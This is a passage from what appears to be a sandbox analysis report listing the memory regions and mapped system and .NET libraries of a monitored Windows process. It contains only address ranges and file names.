0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 5638 start_va = 0x160000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 5639 start_va = 0x170000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 5640 start_va = 0x180000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 5641 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 5642 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 5643 start_va = 0x1b0000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5644 start_va = 0x2340000 end_va = 0x24dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 5645 start_va = 0x600000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 5646 start_va = 0x2350000 end_va = 0x244ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002350000" filename = "" Region: id = 5647 start_va = 0x24a0000 end_va = 0x24dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 5648 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 5649 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5650 start_va = 0x260000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 5651 start_va = 0x24e0000 end_va = 0x44dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 5652 start_va = 0x1b0000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5653 start_va = 0x760000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000760000" filename = "" Region: id = 5654 start_va = 0x7d0000 end_va = 0x8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 5655 start_va = 0x4580000 end_va = 0x467ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004580000" filename = "" Region: id = 5656 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 5657 start_va = 0x8e0000 end_va = 0x91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 5658 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 5659 start_va = 0xac0000 end_va = 0xbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 5660 start_va = 0xbe0000 end_va = 0xc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 5661 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 5662 start_va = 0x4680000 end_va = 0x494efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5663 start_va = 0x6ea90000 end_va = 0x6fe9afff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll") Region: id = 5664 start_va = 0x75270000 end_va = 0x753cbfff monitored = 0 entry_point = 0x752bba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 5665 start_va = 0x73aa0000 end_va = 0x73b1ffff monitored = 0 entry_point = 0x73ab37c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 5666 start_va = 0x920000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 5667 start_va = 0x320000 end_va = 0x3fefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 5668 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 5669 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 5670 start_va = 0x723b0000 end_va = 0x723b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 5671 start_va = 0x720f0000 end_va = 0x72178fff monitored = 1 entry_point = 0x720f1130 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 5672 start_va = 0x758a0000 end_va = 0x7592efff monitored = 0 entry_point = 0x758a3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 5673 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 5674 start_va = 0x70850000 end_va = 0x712a4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\2c3c912ea8f058f9d04c4650128feb3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\2c3c912ea8f058f9d04c4650128feb3f\\system.ni.dll") Region: id = 5675 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 5676 start_va = 0x71f40000 end_va = 0x720e2fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\f7568d7f1b9d356f64779b4c0927cfb3\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\f7568d7f1b9d356f64779b4c0927cfb3\\system.drawing.ni.dll") Region: id = 5677 start_va = 0x6dc20000 end_va = 0x6ea85fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\c9a4cbc00f690a9e3cddfc400f6e85bb\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\c9a4cbc00f690a9e3cddfc400f6e85bb\\system.windows.forms.ni.dll") Region: id = 5678 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 5679 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5680 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 5681 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 5682 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 5683 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 5684 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 5685 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 5686 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 5690 start_va = 0x70030000 end_va = 0x70847fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\31fae3290fad30c31c98651462d22724\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\31fae3290fad30c31c98651462d22724\\system.core.ni.dll") Region: id = 5691 start_va = 0x71e30000 end_va = 0x71f34fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\96f7edb07b12303f0ec2595c7f3778c7\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\96f7edb07b12303f0ec2595c7f3778c7\\system.configuration.ni.dll") Region: id = 5697 start_va = 0x6d4a0000 end_va = 0x6dc13fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\15af16d373cf0528cb74fc73d365fdbf\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\15af16d373cf0528cb74fc73d365fdbf\\system.xml.ni.dll") Region: id = 5699 start_va = 0x72390000 end_va = 0x723a2fff monitored = 1 entry_point = 0x7239d900 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll") Region: id = 5700 start_va = 0x4950000 end_va = 0x4c21fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp") Region: id = 5701 start_va = 0x75ff0000 end_va = 0x76c39fff monitored = 0 entry_point = 0x76071601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 5702 start_va = 0x560000 end_va = 0x560fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 5703 start_va = 0x74940000 end_va = 0x7494afff monitored = 0 entry_point = 0x74941992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 5704 start_va = 0x4c30000 end_va = 0x4d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c30000" filename = "" Region: id = 5705 start_va = 0x72370000 end_va = 0x72386fff monitored = 0 entry_point = 0x723735fa region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 5706 start_va = 0x73950000 end_va = 0x73966fff monitored = 0 entry_point = 0x73953573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 5707 start_va = 0x570000 end_va = 0x5abfff monitored = 0 entry_point = 0x57128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 5708 start_va = 0x570000 end_va = 0x5abfff monitored = 0 entry_point = 0x57128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 5709 start_va = 0x570000 end_va = 0x5abfff monitored = 0 entry_point = 0x57128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 5710 start_va = 0x570000 end_va = 0x5abfff monitored = 0 entry_point = 0x57128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 5711 start_va = 0x570000 end_va = 0x5abfff monitored = 0 entry_point = 0x57128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 5712 start_va = 0x73910000 end_va = 0x7394afff monitored = 0 entry_point = 0x7391128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 5713 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5714 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 5715 start_va = 0x73a70000 end_va = 0x73a82fff monitored = 0 entry_point = 0x73a71d3f region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 5716 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5717 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5718 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5719 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5720 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5721 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5722 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5723 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5724 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5725 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5726 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5727 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5728 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5729 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5730 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5731 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5732 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5733 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5734 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5735 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5736 start_va = 0x71c40000 end_va = 0x71e21fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.visualbasic.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\a891970b44db9e340c3ef3efa95b793c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\a891970b44db9e340c3ef3efa95b793c\\microsoft.visualbasic.ni.dll") Region: id = 5738 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5739 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 5820 start_va = 0x75800000 end_va = 0x75804fff monitored = 0 entry_point = 0x75801438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 5822 start_va = 0x2450000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002450000" filename = "" Region: id = 5823 start_va = 0x4f00000 end_va = 0x4ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f00000" filename = "" Region: id = 5824 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 5825 start_va = 0x73a90000 end_va = 0x73a9dfff monitored = 0 entry_point = 0x73a91235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 5826 start_va = 0x570000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5827 start_va = 0x4c30000 end_va = 0x4d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c30000" filename = "" Region: id = 5828 start_va = 0x4d50000 end_va = 0x4d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d50000" filename = "" Region: id = 5829 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 5830 start_va = 0x5b0000 end_va = 0x5b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 5831 start_va = 0x44e0000 end_va = 0x451ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044e0000" filename = "" Region: id = 5832 start_va = 0x5140000 end_va = 0x523ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005140000" filename = "" Region: id = 5833 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 5834 start_va = 0x75a70000 end_va = 0x75af2fff monitored = 0 entry_point = 0x75a723d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 5835 start_va = 0x5c0000 end_va = 0x5c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 5836 start_va = 0x721d0000 end_va = 0x72200fff monitored = 1 entry_point = 0x721d12d7 region_type = mapped_file name = "wbemdisp.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemdisp.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemdisp.dll") Region: id = 5839 start_va = 0x71be0000 end_va = 0x71c3bfff monitored = 0 entry_point = 0x71c02b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 5840 start_va = 0x74da0000 end_va = 0x74dd4fff monitored = 0 entry_point = 0x74da145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 5841 start_va = 0x75c30000 end_va = 0x75c35fff monitored = 0 entry_point = 0x75c31782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 5842 start_va = 0x4d90000 end_va = 0x4edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d90000" filename = "" Region: id = 5844 start_va = 0x74960000 end_va = 0x7496afff monitored = 0 entry_point = 0x749652a0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 5845 start_va = 0x71b70000 end_va = 0x71bd0fff monitored = 0 entry_point = 0x71babf40 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\SysWOW64\\wbemcomn2.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn2.dll") Region: id = 5846 start_va = 0x72350000 end_va = 0x72369fff monitored = 0 entry_point = 0x723603d0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\SysWOW64\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wmiutils.dll") Region: id = 5847 start_va = 0x721c0000 end_va = 0x721cefff monitored = 0 entry_point = 0x721c93d0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 5848 start_va = 0x4d90000 end_va = 0x4e8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d90000" filename = "" Region: id = 5849 start_va = 0x4ea0000 end_va = 0x4edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ea0000" filename = "" Region: id = 5850 start_va = 0x71ac0000 end_va = 0x71b65fff monitored = 0 entry_point = 0x71b2a2f0 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 5851 start_va = 0x721a0000 end_va = 0x721b7fff monitored = 0 entry_point = 0x721a1335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 5853 start_va = 0x724a0000 end_va = 0x724fefff monitored = 0 entry_point = 0x724a2134 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\SysWOW64\\sxs.dll" (normalized: "c:\\windows\\syswow64\\sxs.dll") Region: id = 5854 start_va = 0x5d0000 end_va = 0x5defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wbemdisp.tlb" filename = "\\Windows\\SysWOW64\\wbem\\wbemdisp.tlb" (normalized: "c:\\windows\\syswow64\\wbem\\wbemdisp.tlb") Region: id = 5855 start_va = 0x920000 end_va = 0x9dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 5856 start_va = 0xa00000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 5862 start_va = 0x71a80000 end_va = 0x71ab4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "custommarshalers.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\CustomMarshalers\\0df8ec76525d72c37f86b6d2ab717e84\\CustomMarshalers.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\custommarshalers\\0df8ec76525d72c37f86b6d2ab717e84\\custommarshalers.ni.dll") Region: id = 5865 start_va = 0x72180000 end_va = 0x72197fff monitored = 1 entry_point = 0x721858de region_type = mapped_file name = "custommarshalers.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\CustomMarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\CustomMarshalers.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\custommarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\custommarshalers.dll") Region: id = 5867 start_va = 0x5e0000 end_va = 0x5f8fff monitored = 1 entry_point = 0x5e58de region_type = mapped_file name = "custommarshalers.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\CustomMarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\CustomMarshalers.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\custommarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\custommarshalers.dll") Region: id = 5868 start_va = 0x5e0000 end_va = 0x5f8fff monitored = 1 entry_point = 0x5e58de region_type = mapped_file name = "custommarshalers.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\CustomMarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\CustomMarshalers.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\custommarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\custommarshalers.dll") Region: id = 5869 start_va = 0x5e0000 end_va = 0x5f8fff monitored = 1 entry_point = 0x5e58de region_type = mapped_file name = "custommarshalers.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\CustomMarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\CustomMarshalers.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\custommarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\custommarshalers.dll") Region: id = 5870 start_va = 0x5e0000 end_va = 0x5f8fff monitored = 1 entry_point = 0x5e58de region_type = mapped_file name = "custommarshalers.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\CustomMarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\CustomMarshalers.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\custommarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\custommarshalers.dll") Region: id = 5871 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 5874 start_va = 0x5f0000 end_va = 0x5f3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\SysWOW64\\stdole2.tlb" (normalized: "c:\\windows\\syswow64\\stdole2.tlb") Region: id = 5876 start_va = 0x6ff00000 end_va = 0x7002ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Management\\e114780fd3ea5727401c06ea4f22ef35\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.management\\e114780fd3ea5727401c06ea4f22ef35\\system.management.ni.dll") Region: id = 5877 start_va = 0x50c0000 end_va = 0x50fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000050c0000" filename = "" Region: id = 5878 start_va = 0x52a0000 end_va = 0x539ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000052a0000" filename = "" Region: id = 5879 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 5880 start_va = 0x7ef50000 end_va = 0x7ef9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef50000" filename = "" Region: id = 5881 start_va = 0x7ef40000 end_va = 0x7ef4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef40000" filename = "" Region: id = 5882 start_va = 0x53f0000 end_va = 0x542ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000053f0000" filename = "" Region: id = 5883 start_va = 0x5490000 end_va = 0x558ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005490000" filename = "" Region: id = 5884 start_va = 0x7ef3d000 end_va = 0x7ef3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef3d000" filename = "" Region: id = 5885 start_va = 